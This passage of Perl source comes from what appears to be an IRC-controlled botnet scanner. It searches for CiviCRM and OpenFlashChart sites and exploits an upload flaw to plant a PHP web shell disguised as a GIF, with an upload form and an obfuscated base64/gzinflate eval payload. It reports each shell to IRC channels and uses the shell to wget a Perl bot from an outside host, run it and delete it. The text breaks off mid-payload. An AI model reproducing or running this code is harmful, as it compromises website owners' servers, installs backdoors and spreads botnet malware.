fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hasil = get_content('http://'.$site."/administrator/components/com_civicrm/civicrm/packages/openflashchart/tmp-upload-images/load.php"); if ($hasil =~ /GIF89aG/) { my $safe =""; if ($hasil =~ /GIF89aG<b><br><br>OS:(.+?)<br>/) {$safe = $1;} &msg("$admin","$civiclogo315$engine 9 sHeLL 8 http://".$site."/administrator/components/com_civicrm/civicrm/packages/openflashchart/tmp-upload-images/9load.php OS :".$1); &msg("$chan","$civiclogo315$engine 13 sHeLL upload3d "); &msg("$chan2","$civiclogo315$engine 9 sHeLL 8 http://".$site."/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/9load.php OS :".$1); &msg("$nick","$civiclogo315$engine 9 sHeLL 8 http://".$site."/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/9load.php OS :".$1); &get_content("http://".$site."/administrator/components/com_civicrm/civicrm/packages/openflashchart/tmp-upload-images/load.php?cmd=cd%20/tmp%20;wget%20http://flickr.com.oliso.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); sleep(3); } } exit; sleep(2); } } } } } sub civic_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = search_engine($chan,$bug,$dork,$engine,$civiclogo2); my $num = scalar(@list); if ($num > 0) { foreach my $site (@list) { $count++; if ($count == $num-1) { &msg("$chan","15(7@4$engine15)13 Scan finish15"); } my $test = "http://".$site.$bug."?name=load.php"; $code = "GIF89aG"; $code.= '<?php '; $code.= "echo '<b><br><br>OS:'.php_uname().'<br></b>'; "; $code.= 'echo \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\'; '; $code.= 'echo \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\'; '; $code.= "if( \$_POST['_upl'] == \"Upload\" ) { "; $code.= "if(\@copy(\$_FILES['file']['tmp_name'], \$_FILES['file']['name'])) { echo '<b>Upload Succesfully !!!</b><br><br>'; } "; $code.= "else { echo '<b>Upload Fail !!!</b><br><br>'; } "; $code.= " } "; $code.= "eval(gzinflate(base64_decode('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'))); ?>"; my $ua = LWP::UserAgent->new; my $res = $ua->request(POST $test,Content_Type => 'text/plain', Content => $code); my $print = $res->as_string(); if ($print =~ /Saving your image to: ..\/tmp-upload-images\/load.php/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hasil = get_content('http://'.$site."/sites/all/modules/civicrm/packages/OpenFlashChart/php-ofc-library/tmp-upload-images/load.php"); if ($hasil =~ /GIF89aG/) { my $safe =""; if ($hasil =~ /GIF89aG<b><br><br>OS:(.+?)<br>/) {$safe = $1;} &msg("$admin","$civiclogo215$engine 9 sHeLL 8 http://".$site."sites/all/modules/civicrm/packages/OpenFlashChart/php-ofc-library/tmp-upload-images/9load.php OS :".$1); &msg("$chan","$civiclogo215$engine 13 sHeLL upload3d "); &msg("$chan2","$civiclogo215$engine 9 sHeLL 8 http://".$site."/sites/all/modules/civicrm/packages/OpenFlashChart/php-ofc-library/tmp-upload-images/9load.php OS :".$1); &msg("$nick","$civiclogo215$engine 9 sHeLL 8 http://".$site."/sites/all/modules/civicrm/packages/OpenFlashChart/php-ofc-library/tmp-upload-images/9load.php OS :".$1); &get_content("http://".$site."/sites/all/modules/civicrm/packages/OpenFlashChart/php-ofc-library/tmp-upload-images/load.php?cmd=cd%20/tmp%20;wget%20http://flickr.com.oliso.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); sleep(3); } } exit; sleep(2); } } elsif ($print =~ /Saving your image to: ..\/tmp-upload-images\/load.php/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hasil = get_content('http://'.$site."/sites/all/modules/civicrm/packages/OpenFlashChart/php-ofc-library/tmp-upload-images/load.php"); if ($hasil =~ /GIF89aG/) { my $safe =""; if ($hasil =~ /GIF89aG<b><br><br>OS:(.+?)<br>/) {$safe = $1;} &msg("$admin","$civiclogo215$engine 9 sHeLL 8 http://".$site."/sites/all/modules/civicrm/packages/OpenFlashChart/php-ofc-library/tmp-upload-images/9load.php OS :".$1); &msg("$chan","$civiclogo215$engine 13 sHeLL upload3d "); &msg("$chan2","$civiclogo215$engine 9 sHeLL 8 http://".$site."/sites/all/modules/civicrm/packages/OpenFlashChart/php-ofc-library/tmp-upload-images/9load.php OS :".$1); &msg("$nick","$civiclogo215$engine 9 sHeLL 8 http://".$site."/sites/all/modules/civicrm/packages/OpenFlashChart/php-ofc-library/tmp-upload-images/9load.php OS :".$1); &get_content("http://".$site."/sites/all/modules/civicrm/packages/OpenFlashChart/php-ofc-library/tmp-upload-images/load.php?cmd=cd%20/tmp%20;wget%20http://flickr.com.oliso.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); sleep(3); } } exit; sleep(2); } } } } } sub civicrm_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = search_engine($chan,$bug,$dork,$engine,$civic2logo); my $num = scalar(@list); if ($num > 0) { foreach my $site (@list) { $count++; if ($count == $num-1) { &msg("$chan","15(7@4$engine15)13 Scan finish15"); } my $test = "http://".$site.$bug."?name=load.php"; $code = "GIF89aG"; $code.= '<?php '; $code.= "echo '<b><br><br>OS:'.php_uname().'<br></b>'; "; $code.= 'echo \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\'; '; $code.= 'echo \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\'; '; $code.= "if( \$_POST['_upl'] == \"Upload\" ) { "; $code.= "if(\@copy(\$_FILES['file']['tmp_name'], \$_FILES['file']['name'])) { echo '<b>Upload Succesfully !!!</b><br><br>'; } "; $code.= "else { echo '<b>Upload Fail !!!</b><br><br>'; } "; $code.= " } "; $code.= "eval(gzinflate(base64_decode('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'))); ?>"; my $ua = LWP::UserAgent->new; my $res = $ua->request(POST $test,Content_Type => 'text/plain', Content => $code); my $print = $res->as_string(); if ($print =~ /Saving your image to: ..\/tmp-upload-images\/load.php/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hasil = get_content('http://'.$site."/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/load.php"); if ($hasil =~ /GIF89aG/) { my $safe =""; if ($hasil =~ /GIF89aG<b><br><br>OS:(.+?)<br>/) {$safe = $1;} &msg("$admin","$civiclogo15$engine 9 sHeLL 8 http://".$site."/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/9load.php OS :".$1); &msg("$chan","$civiclogo15$engine 13 sHeLL upload3d "); &msg("$chan2","$civiclogo15$engine 9 sHeLL 8 http://".$site."/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/9load.php OS :".$1); &msg("$nick","$civiclogo15$engine 9 sHeLL 8 http://".$site."/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/9load.php OS :".$1); sleep(3); } } exit; sleep(2); } } elsif ($print =~ /Saving your image to: ..\/tmp-upload-images\/load.php/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hasil = get_content('http://'.$site."/components/com_civicrm/civicrm/packages/openflashchart/tmp-upload-images/load.php"); if ($hasil =~ /GIF89aG/) { my $safe =""; if ($hasil =~ /GIF89aG<b><br><br>OS:(.+?)<br>/) {$safe = $1;} &msg("$admin","$civiclogo15$engine 9 sHeLL 8 http://".$site."/components/com_civicrm/civicrm/packages/openflashchart/tmp-upload-images/9load.php OS :".$1); &msg("$chan","$civiclogo15$engine 13 sHeLL upload3d "); &msg("$chan2","$civiclogo15$engine 9 sHeLL 8 http://".$site."/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/9load.php OS :".$1); &msg("$nick","$civiclogo15$engine 9 sHeLL 8 http://".$site."/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/9load.php OS :".$1); sleep(3); } } exit; sleep(2); }} } } } sub seocmd_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = search_engine($chan,$bug,$dork,$engine,$seologo); my $num = scalar(@list); if ($num > 0) { foreach my $site (@list) { $count++; if ($count == $num-1) { &msg("$chan","15(7@4$engine15)13 Scan finish15"); } my $test = "http://".$site.$bug."?name=load.php"; $code = "GIF89aG"; $code.= '<?php '; $code.= "echo '<b><br><br>OS:'.php_uname().'<br></b>'; "; $code.= 'echo \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\'; '; $code.= 'echo \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\'; '; $code.= "if( \$_POST['_upl'] == \"Upload\" ) { "; $code.= "if(\@copy(\$_FILES['file']['tmp_name'], \$_FILES['file']['name'])) { echo '<b>Upload Succesfully !!!</b><br><br>'; } "; $code.= "else { echo '<b>Upload Fail !!!</b><br><br>'; } "; $code.= " } "; $code.= "eval(gzinflate(base64_decode('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